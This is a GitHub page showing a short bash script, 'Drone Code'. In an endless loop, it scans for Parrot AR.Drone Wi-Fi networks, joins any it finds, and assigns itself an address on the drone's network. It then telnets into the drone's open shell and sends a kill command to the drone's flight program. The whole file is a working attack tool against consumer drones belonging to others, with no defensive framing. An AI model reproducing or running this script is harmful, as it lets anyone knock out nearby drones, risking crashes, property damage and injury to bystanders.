-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathDrone Code
39 lines (34 loc) · 2.13 KB
/
Drone Code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#!/bin/bash
while true; do
if ! ( iw wlan0 scan | grep SSID | awk '{print $2}' | grep [a]rdrone ); then
echo "No Drones Found"
else
echo "Drone Found! Attempting to connect"
DRONESSID=$(iw wlan0 scan | grep SSID | awk '{print $2}' | grep [a]rdrone)
iwconfig wlan1 essid $DRONESSID
sleep 2
echo "Testing wireless Association"
if ! ( iwconfig wlan1 | grep $DRONESSID ); then
echo "Association to $DRONESSID failed"
else
echo "Association to $DRONESSID successful"
echo "Setting Static IP Address"
ifconfig wlan1 192.168.1.5 netmask 255.255.255.0 up
sleep 2
echo "Testing IP Connection"
if ! ( ping -c1 192.168.1.1 | grep from ); then
echo "IP Connection Failed"
else
echo "IP Connection Successful"
echo "Connecting to Telnet and sending kill Command!!"
empty -f -i /tmp/drone_input.fifo -o /tmp/drone_output.fifo -p /tmp/drone_empty.pid telnet 192.168.1.1
empty -w -i /tmp/drone_output.fifo -o /tmp/drone_input.fifo BusyBox "kill -KILL \`pidof program.elf\`\n"
kill `pidof empty`
echo ""
echo "Successful Drone killed"
echo ""
fi
fi
fi
sleep 60
done